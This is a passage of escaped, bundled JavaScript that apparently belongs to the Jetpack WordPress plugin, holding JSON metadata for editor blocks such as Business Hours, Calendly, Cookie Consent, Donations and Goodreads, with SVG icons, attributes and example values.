d=\&#039;M4.08691 8.17871C4.08691 6.00409 5.84979 4.24121 8.02441 4.24121C10.199 4.24121 11.9619 6.00409 11.9619 8.17871C11.9619 10.3533 10.199 12.1162 8.02441 12.1162C5.84979 12.1162 4.08691 10.3533 4.08691 8.17871ZM5.10729 6.71621C5.51231 5.90991 6.2418 5.29471 7.12439 5.04194C6.91534 5.28455 6.73551 5.57108 6.58869 5.88606C6.46938 6.14205 6.36999 6.42056 6.29338 6.71621H5.10729ZM4.85759 7.39121C4.79508 7.64341 4.76191 7.90719 4.76191 8.17871C4.76191 8.45024 4.79508 8.71401 4.85759 8.96621H6.16284C6.12938 8.71126 6.11192 8.44782 6.11192 8.1787C6.11192 7.90956 6.12938 7.64614 6.16284 7.39121H4.85759ZM6.84439 7.39121C6.80693 7.64285 6.78692 7.90651 6.78692 8.1787C6.78692 8.45091 6.80694 8.71459 6.84439 8.96621H9.20444C9.2419 8.71458 9.26192 8.45091 9.26192 8.17873C9.26192 7.90653 9.2419 7.64285 9.20444 7.39121H6.84439ZM9.88599 7.39121C9.91945 7.64615 9.93692 7.90958 9.93692 8.17873C9.93692 8.44786 9.91945 8.71128 9.88599 8.96621H11.1912C11.2537 8.71401 11.2869 8.45024 11.2869 8.17871C11.2869 7.90719 11.2537 7.64341 11.1912 7.39121H9.88599ZM10.9415 6.71621H9.75544C9.67883 6.42057 9.57945 6.14207 9.46014 5.88609C9.31332 5.5711 9.13347 5.28455 8.92441 5.04193C9.80702 5.29469 10.5365 5.9099 10.9415 6.71621ZM9.05465 6.71621H6.99417C7.05245 6.52254 7.12177 6.34014 7.2005 6.17123C7.42342 5.69296 7.71302 5.34019 8.02439 5.13337C8.33578 5.34019 8.6254 5.69297 8.84833 6.17126C8.92706 6.34016 8.99637 6.52255 9.05465 6.71621ZM5.10729 9.64121H6.29339C6.37419 9.95305 6.48034 10.2458 6.6085 10.5132C6.75142 10.8114 6.92452 11.0835 7.12445 11.3155C6.24183 11.0627 5.51232 10.4475 5.10729 9.64121ZM9.05466 9.64121H6.99418C7.05655 9.84847 7.13156 10.0428 7.21721 10.2215C7.43825 10.6827 7.72115 11.0226 8.02446 11.224C8.33582 11.0172 8.62541 10.6645 8.84833 10.1862C8.92706 10.0173 8.99638 9.83488 9.05466 9.64121ZM9.46014 10.4714C9.57945 10.2154 9.67884 9.93686 9.75545 9.64121H10.9415C10.5365 10.4475 9.80703 11.0627 8.92444 11.3155C9.13349 11.0729 9.31332 10.7863 9.46014 10.4714Z\&#039;&gt;&lt;/path&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:false,&quot;alignWide&quot;:true,&quot;anchor&quot;:false,&quot;customClassName&quot;:true,&quot;className&quot;:true,&quot;html&quot;:false,&quot;multiple&quot;:true,&quot;reusable&quot;:true,&quot;color&quot;:{&quot;link&quot;:true,&quot;gradients&quot;:true},&quot;spacing&quot;:{&quot;padding&quot;:true,&quot;margin&quot;:true},&quot;typography&quot;:{&quot;fontSize&quot;:true,&quot;lineHeight&quot;:true}},&quot;attributes&quot;:{&quot;show_avatar&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;show_description&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;open_links_new_window&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;ignore_user_blogs&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;load_placeholders&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true}},&quot;providesContext&quot;:{&quot;showAvatar&quot;:&quot;show_avatar&quot;,&quot;showDescription&quot;:&quot;show_description&quot;,&quot;openLinksNewWindow&quot;:&quot;open_links_new_window&quot;}}&#039;)},9050(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/business-hours&quot;,&quot;title&quot;:&quot;Business Hours&quot;,&quot;description&quot;:&quot;Display opening hours for your business.&quot;,&quot;keywords&quot;:[&quot;opening hours&quot;,&quot;closing time&quot;,&quot;schedule&quot;,&quot;working day&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8zm.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:true,&quot;color&quot;:{&quot;gradients&quot;:true},&quot;spacing&quot;:{&quot;margin&quot;:true,&quot;padding&quot;:true},&quot;typography&quot;:{&quot;fontSize&quot;:true,&quot;lineHeight&quot;:true},&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;]},&quot;attributes&quot;:{&quot;days&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[{&quot;name&quot;:&quot;Sun&quot;,&quot;hours&quot;:[]},{&quot;name&quot;:&quot;Mon&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Tue&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Wed&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Thu&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Fri&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Sat&quot;,&quot;hours&quot;:[]}]}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;days&quot;:[{&quot;name&quot;:&quot;Sun&quot;,&quot;hours&quot;:[]},{&quot;name&quot;:&quot;Mon&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Tue&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Wed&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Thu&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Fri&quot;,&quot;hours&quot;:[{&quot;opening&quot;:&quot;09:00&quot;,&quot;closing&quot;:&quot;17:00&quot;}]},{&quot;name&quot;:&quot;Sat&quot;,&quot;hours&quot;:[]}]}}}&#039;)},13248(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/calendly&quot;,&quot;title&quot;:&quot;Calendly&quot;,&quot;description&quot;:&quot;Embed a calendar for customers to schedule appointments.&quot;,&quot;keywords&quot;:[&quot;calendar&quot;,&quot;schedule&quot;,&quot;appointments&quot;,&quot;events&quot;,&quot;dates&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 23 24\&#039; width=\&#039;23\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M19,1h-2.3v0c0-0.6-0.4-1-1-1c-0.6,0-1,0.4-1,1v0H8.6v0c0-0.6-0.4-1-1-1c-0.6,0-1,0.4-1,1v0H4C1.8,1,0,2.8,0,5 v15c0,2.2,1.8,4,4,4h15c2.2,0,4-1.8,4-4V5C23,2.8,21.2,1,19,1z M21,20c0,1.1-0.9,2-2,2H4c-1.1,0-2-0.9-2-2V5c0-1.1,0.9-2,2-2h2.6 v0.8c0,0.6,0.4,1,1,1c0.6,0,1-0.4,1-1V3h6.1v0.8c0,0.6,0.4,1,1,1c0.6,0,1-0.4,1-1V3H19c1.1,0,2,0.9,2,2V20z M13.9,14.8l1.4,1.4 c-0.9,0.9-2.1,1.3-3.5,1.3c-2.4,0-4.5-2.1-4.5-4.7s2.1-4.7,4.5-4.7c1.4,0,2.5,0.4,3.4,1.1L14,10.9c-0.5-0.4-1.2-0.6-2.1-0.6 c-1.2,0-2.5,1.1-2.5,2.7c0,1.6,1.3,2.7,2.5,2.7C12.7,15.5,13.4,15.3,13.9,14.8z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;alignWide&quot;:false,&quot;html&quot;:false},&quot;attributes&quot;:{&quot;backgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;ffffff&quot;},&quot;hideEventTypeDetails&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;primaryColor&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;00A2FF&quot;},&quot;textColor&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;4D5055&quot;},&quot;style&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;inline&quot;,&quot;enum&quot;:[&quot;inline&quot;,&quot;link&quot;]},&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;hideEventTypeDetails&quot;:false,&quot;style&quot;:&quot;inline&quot;,&quot;url&quot;:&quot;https://calendly.com/wpcom/jetpack-block-example&quot;},&quot;innerBlocks&quot;:[{&quot;name&quot;:&quot;jetpack/button&quot;,&quot;attributes&quot;:{&quot;element&quot;:&quot;a&quot;,&quot;text&quot;:&quot;Schedule time with me&quot;,&quot;uniqueId&quot;:&quot;calendly-widget-id&quot;,&quot;url&quot;:&quot;https://calendly.com/wpcom/jetpack-block-example&quot;}}]}}&#039;)},75173(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/contact-info&quot;,&quot;title&quot;:&quot;Contact Info&quot;,&quot;description&quot;:&quot;Add an email address, phone number, and physical address with improved markup for better SEO results.&quot;,&quot;keywords&quot;:[&quot;email&quot;,&quot;phone&quot;,&quot;address&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M19 5v14H5V5h14m0-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 9c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3zm0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1zm6 10H6v-1.53c0-2.5 3.97-3.58 6-3.58s6 1.08 6 3.58V18zm-9.69-2h7.38c-.69-.56-2.38-1.12-3.69-1.12s-3.01.56-3.69 1.12z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;],&quot;html&quot;:false,&quot;color&quot;:{&quot;link&quot;:true,&quot;gradients&quot;:true},&quot;spacing&quot;:{&quot;padding&quot;:true,&quot;margin&quot;:true},&quot;typography&quot;:{&quot;fontSize&quot;:true,&quot;lineHeight&quot;:true}},&quot;example&quot;:{&quot;attributes&quot;:{},&quot;innerBlocks&quot;:[{&quot;name&quot;:&quot;jetpack/email&quot;,&quot;attributes&quot;:{&quot;email&quot;:&quot;hello@yourjetpack.blog&quot;}},{&quot;name&quot;:&quot;jetpack/phone&quot;,&quot;attributes&quot;:{&quot;phone&quot;:&quot;123-456-7890&quot;}},{&quot;name&quot;:&quot;jetpack/address&quot;,&quot;attributes&quot;:{&quot;address&quot;:&quot;987 Photon Drive&quot;,&quot;city&quot;:&quot;Speedyville&quot;,&quot;region&quot;:&quot;CA&quot;,&quot;postal&quot;:&quot;12345&quot;,&quot;country&quot;:&quot;USA&quot;}}]}}&#039;)},74095(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/cookie-consent&quot;,&quot;title&quot;:&quot;Cookie Consent&quot;,&quot;description&quot;:&quot;Display a customizable cookie consent banner. To display this block on all pages of your site, please add it inside a Template Part that is present on all your templates, like a Header or a Footer.&quot;,&quot;keywords&quot;:[&quot;cookie&quot;,&quot;consent&quot;,&quot;privacy&quot;,&quot;GDPR&quot;,&quot;EU&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m20.27,11.03c-.02-.31-.05-.62-.11-.92h-3.88v-2.91h-2.87v-3.79c-.32-.06-.64-.1-.97-.12-.15,0-.29,0-.44,0C7.42,3.28,3.71,7,3.71,11.57s3.71,8.3,8.29,8.3,8.29-3.72,8.29-8.3c0-.18,0-.36-.02-.54Zm-8.23,7.79c-4,0-7.24-3.25-7.24-7.25s3.24-7.24,7.24-7.24c.14,0,.27,0,.4.02v3.81h2.9v2.87h3.91c.02.18.03.36.03.54,0,4-3.24,7.25-7.24,7.25Z\&#039;/&gt;&lt;path d=\&#039;M 8, 8 a 1,1 0 1,1 2,0 a 1,1 0 1,1 -2,0\&#039;/&gt;&lt;path d=\&#039;M 12, 11.5 a 1,1 0 1,1 2,0 a 1,1 0 1,1 -2,0\&#039;/&gt;&lt;path d=\&#039;M 13, 16 a 1,1 0 1,1 2,0 a 1,1 0 1,1 -2,0\&#039;/&gt;&lt;path d=\&#039;M 8, 14 a 1,1 0 1,1 2,0 a 1,1 0 1,1 -2,0\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;left&quot;,&quot;right&quot;,&quot;wide&quot;,&quot;full&quot;],&quot;alignWide&quot;:true,&quot;anchor&quot;:false,&quot;color&quot;:{&quot;gradients&quot;:true,&quot;link&quot;:true,&quot;background&quot;:true},&quot;spacing&quot;:{&quot;padding&quot;:true},&quot;customClassName&quot;:true,&quot;className&quot;:true,&quot;html&quot;:false,&quot;lock&quot;:false,&quot;multiple&quot;:false,&quot;reusable&quot;:false},&quot;attributes&quot;:{&quot;text&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;source&quot;:&quot;html&quot;,&quot;selector&quot;:&quot;p&quot;},&quot;style&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{&quot;color&quot;:{&quot;text&quot;:&quot;var(--wp--preset--color--contrast)&quot;,&quot;background&quot;:&quot;var(--wp--preset--color--tertiary)&quot;,&quot;link&quot;:&quot;var(--wp--preset--color--contrast)&quot;},&quot;spacing&quot;:{&quot;padding&quot;:{&quot;top&quot;:&quot;1em&quot;,&quot;right&quot;:&quot;1em&quot;,&quot;bottom&quot;:&quot;1em&quot;,&quot;left&quot;:&quot;1em&quot;}}}},&quot;align&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;wide&quot;},&quot;consentExpiryDays&quot;:{&quot;type&quot;:&quot;integer&quot;,&quot;default&quot;:365},&quot;showOverlay&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false}},&quot;viewScript&quot;:&quot;file:./view.js&quot;}&#039;)},87325(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/donations&quot;,&quot;title&quot;:&quot;Donations Form&quot;,&quot;description&quot;:&quot;Collect one-time, monthly, or annually recurring donations.&quot;,&quot;keywords&quot;:[&quot;charity&quot;,&quot;contribution&quot;,&quot;credit card&quot;,&quot;debit card&quot;,&quot;donate&quot;,&quot;earn&quot;,&quot;monetize&quot;,&quot;ecommerce&quot;,&quot;fundraising&quot;,&quot;fundraiser&quot;,&quot;gofundme&quot;,&quot;money&quot;,&quot;nonprofit&quot;,&quot;non-profit&quot;,&quot;paid&quot;,&quot;patreon&quot;,&quot;pay&quot;,&quot;payments&quot;,&quot;recurring&quot;,&quot;stripe&quot;,&quot;sponsor&quot;,&quot;square&quot;,&quot;tipping&quot;,&quot;venmo&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M16.5 4.5c2.206 0 4 1.794 4 4 0 4.67-5.543 8.94-8.5 11.023C9.043 17.44 3.5 13.17 3.5 8.5c0-2.206 1.794-4 4-4 1.298 0 2.522.638 3.273 1.706L12 7.953l1.227-1.746c.75-1.07 1.975-1.707 3.273-1.707m0-1.5c-1.862 0-3.505.928-4.5 2.344C11.005 3.928 9.362 3 7.5 3 4.462 3 2 5.462 2 8.5c0 5.72 6.5 10.438 10 12.85 3.5-2.412 10-7.13 10-12.85C22 5.462 19.538 3 16.5 3z\&#039; /&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false},&quot;attributes&quot;:{&quot;currency&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;&quot;},&quot;oneTimeDonation&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{&quot;show&quot;:true,&quot;planId&quot;:null,&quot;amounts&quot;:[5,15,100]}},&quot;monthlyDonation&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{&quot;show&quot;:true,&quot;planId&quot;:null,&quot;amounts&quot;:[5,15,100]}},&quot;annualDonation&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{&quot;show&quot;:true,&quot;planId&quot;:null,&quot;amounts&quot;:[5,15,100]}},&quot;showCustomAmount&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;chooseAmountText&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customAmountText&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;fallbackLinkUrl&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;example&quot;:{}}&#039;)},82306(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/eventbrite&quot;,&quot;title&quot;:&quot;Eventbrite Checkout&quot;,&quot;description&quot;:&quot;Embed Eventbrite event details and ticket checkout.&quot;,&quot;keywords&quot;:[&quot;events&quot;,&quot;tickets&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M18.041,3.931L5.959,3C4.325,3,3,4.325,3,5.959v12.083C3,19.675,4.325,21,5.959,21l12.083-0.931C19.699,19.983,21,18.744,21,17.11V6.89C21,5.256,19.741,4.027,18.041,3.931zM16.933,8.17c-0.082,0.215-0.192,0.432-0.378,0.551c-0.188,0.122-0.489,0.132-0.799,0.132c-1.521,0-3.062-0.048-4.607-0.048c-0.152,0.708-0.304,1.416-0.451,2.128c0.932-0.004,1.873,0.005,2.81,0.005c0.726,0,1.462-0.069,1.586,0.525c0.04,0.189-0.001,0.426-0.052,0.615c-0.105,0.38-0.258,0.676-0.625,0.783c-0.185,0.054-0.408,0.058-0.646,0.058c-1.145,0-2.345,0.017-3.493,0.02c-0.169,0.772-0.328,1.553-0.489,2.333c1.57-0.005,3.067-0.041,4.633-0.058c0.627-0.007,1.085,0.194,1.009,0.85c-0.031,0.262-0.098,0.497-0.211,0.725c-0.102,0.208-0.248,0.376-0.488,0.452c-0.237,0.075-0.541,0.064-0.862,0.078c-0.304,0.014-0.614,0.008-0.924,0.016c-0.309,0.009-0.619,0.022-0.919,0.022c-1.253,0-2.429,0.08-3.683,0.073c-0.603-0.004-1.014-0.249-1.124-0.757c-0.059-0.273-0.018-0.58,0.036-0.841c0.541-2.592,1.083-5.176,1.629-7.763c0.056-0.265,0.114-0.511,0.225-0.714C9.279,7.051,9.534,6.834,9.9,6.735c0.368-0.099,0.883-0.047,1.344-0.047c0.305,0,0.612,0.008,0.914,0.016c0.925,0.026,1.817,0.03,2.747,0.053c0.304,0.007,0.615,0.016,0.915,0.016c0.621,0,1.17,0.073,1.245,0.614C17.104,7.675,17.014,7.954,16.933,8.17z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;align&quot;:true},&quot;attributes&quot;:{&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;eventId&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;style&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;inline&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;url&quot;:&quot;https://www.eventbrite.com/e/test-event-tickets-123456789&quot;,&quot;eventId&quot;:123456789,&quot;style&quot;:&quot;modal&quot;},&quot;innerBlocks&quot;:[{&quot;name&quot;:&quot;jetpack/button&quot;,&quot;attributes&quot;:{&quot;element&quot;:&quot;a&quot;,&quot;text&quot;:&quot;Register&quot;,&quot;uniqueId&quot;:&quot;eventbrite-widget-id&quot;}}]}}&#039;)},5564(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/gif&quot;,&quot;title&quot;:&quot;GIF&quot;,&quot;description&quot;:&quot;Search for and insert an animated image.&quot;,&quot;keywords&quot;:[&quot;animated&quot;,&quot;giphy&quot;,&quot;image&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path fill=\&#039;none\&#039; d=\&#039;M0 0h24v24H0V0z\&#039;/&gt;&lt;path d=\&#039;M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5l-2-2zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54L16.5 18zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12 19.3 8.89zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;align&quot;:true},&quot;attributes&quot;:{&quot;align&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;center&quot;},&quot;caption&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;giphyUrl&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;searchText&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;paddingTop&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;56.2%&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;align&quot;:&quot;center&quot;,&quot;giphyUrl&quot;:&quot;https://giphy.com/embed/fxKWgoOG9hzPPkE1oc&quot;,&quot;paddingTop&quot;:&quot;100%&quot;,&quot;searchText&quot;:&quot;WordPress&quot;}}}&#039;)},24360(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/goodreads&quot;,&quot;title&quot;:&quot;Goodreads&quot;,&quot;description&quot;:&quot;Features books from the shelves of your Goodreads account.&quot;,&quot;keywords&quot;:[&quot;book&quot;,&quot;read&quot;,&quot;author&quot;],&quot;version&quot;:&quot;1.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg height=\&#039;24\&#039; viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039; aria-hidden=\&#039;true\&#039; focusable=\&#039;false\&#039;&gt;&lt;path d=\&#039;M19.525 15.977V.49h-2.059v2.906h-.064c-.211-.455-.481-.891-.842-1.307-.36-.412-.767-.777-1.232-1.094-.466-.314-.962-.561-1.519-.736C13.256.09 12.669 0 12.038 0c-1.21 0-2.3.225-3.246.67-.947.447-1.743 1.057-2.385 1.83-.642.773-1.133 1.676-1.47 2.711-.336 1.037-.506 2.129-.506 3.283 0 1.199.141 2.326.425 3.382.286 1.057.737 1.976 1.368 2.762.631.78 1.412 1.397 2.375 1.833.961.436 2.119.661 3.471.661 1.248 0 2.33-.315 3.262-.946s1.638-1.473 2.119-2.525h.061v2.284c0 2.044-.421 3.607-1.264 4.705-.84 1.081-2.224 1.638-4.146 1.638-.572 0-1.128-.061-1.669-.181-.542-.12-1.036-.315-1.487-.57-.437-.271-.827-.601-1.143-1.038-.316-.435-.526-.961-.632-1.593H5.064c.067.887.315 1.654.737 2.3.424.646.961 1.172 1.602 1.593.641.406 1.367.706 2.172.902.811.194 1.639.3 2.494.3 1.383 0 2.541-.195 3.486-.555.947-.376 1.714-.902 2.301-1.608.601-.708 1.021-1.549 1.293-2.556.27-1.007.42-2.134.42-3.367l-.044.062zm-7.484-.557c-.955 0-1.784-.189-2.479-.571-.697-.38-1.277-.882-1.732-1.503-.467-.621-.797-1.332-1.022-2.139s-.332-1.633-.332-2.484c0-.871.105-1.725.301-2.563.21-.84.54-1.587.992-2.24.451-.652 1.037-1.182 1.728-1.584s1.533-.605 2.51-.605 1.803.209 2.495.621c.676.415 1.247.959 1.683 1.634.436.677.751 1.429.947 2.255.195.826.285 1.656.285 2.482 0 .852-.12 1.678-.345 2.484-.226.807-.572 1.518-1.038 2.139-.465.621-1.021 1.123-1.698 1.503-.676.382-1.458.571-2.359.571h.064z\&#039;&gt;&lt;/path&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;align&quot;:true},&quot;attributes&quot;:{&quot;bookNumber&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;5&quot;},&quot;class&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customTitle&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;goodreadsId&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;id&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;link&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;orderOption&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;d&quot;},&quot;shelfOption&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;read&quot;},&quot;showAuthor&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showCover&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showRating&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showReview&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;showTags&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;showTitle&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;sortOption&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;date_added&quot;},&quot;style&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;default&quot;},&quot;userInput&quot;:{&qu